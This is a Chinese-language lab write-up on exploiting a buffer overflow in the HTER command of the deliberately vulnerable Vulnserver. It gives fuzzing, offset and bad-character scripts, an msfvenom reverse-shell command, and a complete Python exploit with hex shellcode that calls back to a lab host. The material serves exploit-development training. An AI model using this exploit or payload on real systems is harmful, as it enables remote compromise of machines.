本次实验讨论在Win10 21h2 x86
系统下关闭DEP
。继续分析Vulnserver HTER
,先来看一下逆向的代码,挑重点的看:
这里的_strtoul
函数,将字符串转换为无符号长整数值。具体可以参考:https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/strtoul-strtoul-l-wcstoul-wcstoul-l?view=msvc-170.本程序是将`16`进制转换为无符号长整数值。意味着我们需要传入`hex`格式的字符串,也就是`0-9,A-F,a-f`都可以。这对后续坏字符查找和最后的`shellcode`编写都很重要。
来看看新的fuzz
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
from boofuzz import *
host = '192.168.91.142' port = 9999
session = Session(target=Target(connection=SocketConnection(host, port, proto="tcp")))
s_initialize("HTER")
s_string("HTER", fuzzable=False) s_delim(" ",fuzzable=False) s_string("FUZZ")
session.connect(s_get("HTER")) session.fuzz()
|
这里用到了boofuzz
,据说很好用。但是fuzz
有个问题,就算程序崩溃了,想要一眼找到具体需要发送的字符长度很难,还是需要测试。
这里从boofuzz
找到,5000
个A
的时候是可以崩溃的。后来又测试了3000
个A
,发现也会崩溃。
继续来查找offset
,这里不能用msf-pattern-create
生产的字符串来进行测试寻址,因为只能为0-9,a-f,A-F
,所以这里需要自己构造,使用的方法有点像算法里面的二分查找。
先看下构造的程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import socket
HOST = '192.168.91.142' PORT = 9999
offset = b'A'*1000+b'B'*1000+b'C'*1000
PAYLOAD = ( b'HTER ' + offset )
with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)
|
可以看到EIP
被cccccccc
覆盖:
后续应该继续在c
字符串所在位置进行细分,比较繁琐,最后确定offset
为2041
。
最终的确定offset
程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import socket
HOST = '192.168.91.142' PORT = 9999
offset = b'A'*1000+b'B'*1000+b'C'*41+b'deadbeef'+b'A'*955
PAYLOAD = ( b'HTER ' + offset )
with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)
|
查找badchar
的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import socket
HOST = '192.168.91.142' PORT = 9999
badchar = b"0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f20" badchar += b"2122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40" badchar += b"4142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f60" badchar += b"6162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f80" badchar += b"8182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0" badchar += b"a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0" badchar += b"c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0" badchar += b"e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff"
payload = b'A'*2041+b'deadbeef'+badchar+b'C'*(955-len(badchar))
PAYLOAD = ( b'HTER ' + payload )
with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)
|
注意看,坏字符串都转换为hex
格式了。来看一下windbg
中的情况:
可以发现测试的坏字符串能都保存在内存中,也就是说00
为唯一的坏字符。
获取jmp esp
的地址:
这里,选择0x625011af
用于覆盖EIP
。
生成hex
格式的shellcode
:
1
| msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f hex -b '\x00'
|
最终的利用代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import socket
HOST = '192.168.91.142' PORT = 9999
shellcode = b'dad6beb7988f99d97424f45f29c9b1523177170377178358646d6c5a7df08fa27e9506474f957d0ce025f5400dcd5b7086a373772f09a2b6b02296d93239cb390af21e384befd368047b419c21315a1779d7dac4cad6cb5b4081cb5a85b94544ca841cff38729f29717b0c14bd8e4c517a713bab780c3c6802cac96aa4996a56544dec1d5a3a7a797fbdaff27b364ed40d0c75f056d614a132b929b19c668cba3172bde15db78c199edf876aac403ce49c099af3e3235a6b1acc9ba2d998cbdcc8a0871cf474074c5a27e83c1a97805695c8b1597f615ba0e84e34f16126470563ebcee3e90387bc85ba82363742193377c8aec43639dad6afc9918466d50fa0e544d43063754367244b9aedd8f2341321627e97fe57811672e3a5084aece17c02bbbf2ae4150e84becad8404621db16476cadf6f6d9e809368efc722a2e02a9ee4ee17b1be7bceea66a3fc5e592bcef9560dc9a902d5a77e93e0f775e3e1a' nops = b'90'*32
payload = b'A'*2041+b'af115062'+nops+shellcode+b'C'*(955-len(shellcode)-32)
PAYLOAD = ( b'HTER ' + payload )
with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)
|
成功反弹的shell
:
参考:
1.https://captmeelo.com/exploitdev/2018/07/01/vulnserver-hter.html